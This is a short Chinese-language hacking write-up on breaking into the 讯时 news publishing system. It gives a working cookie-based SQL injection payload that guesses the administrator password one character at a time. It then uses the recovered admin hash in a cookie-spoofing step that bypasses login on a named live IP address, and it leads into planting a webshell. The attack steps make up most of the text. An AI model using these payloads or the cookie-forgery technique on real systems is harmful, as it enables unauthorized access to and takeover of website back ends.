三顾讯时--对讯时新闻发布系统的艰难突破(图)
|
||
判断id=1的user（管理员）的第一个字符的ascii码值是否为97。相信大家以前看过花花的文章，大概的cookie注入也就这样了。下面是猜密码的。 javascript:alert(document.cookie="newsid="+escape("26 and (select asc(mid(pass,1,1)) from [admin] where id=1)=97")) 通过一一猜解所得的用户名和密码的ASSCII分别是97 100 109 105 110，50 49 50 51 50 102 50 57 55 97 53 55 97 53 97 55 52 51 56 57 52 97 48 101 52 97 56 48 49 102 99 51，转换后的结果分别是admin和21232f297a57a5a743894a0e4a801fc3。然后我们不必去破解密码，拿出老兵叔的cookie欺骗工具，在cookies栏里输入：admindj=1; adminpass=21232f297a57a5a743894a0e4a801fc3; adminuser=admin; （保持绿色小球处于按下状态）然后在address栏里输入：http://222.90.4.20/news/admin_index.asp，提交！这样我们就可以不经登陆直接进到后台了。如图5所示：
进到后台就是拿WEBSHELL了。打开网友投稿，如图6所示：
·上一篇: 整个服务器群的沦陷:一次曲折的安全检测
|
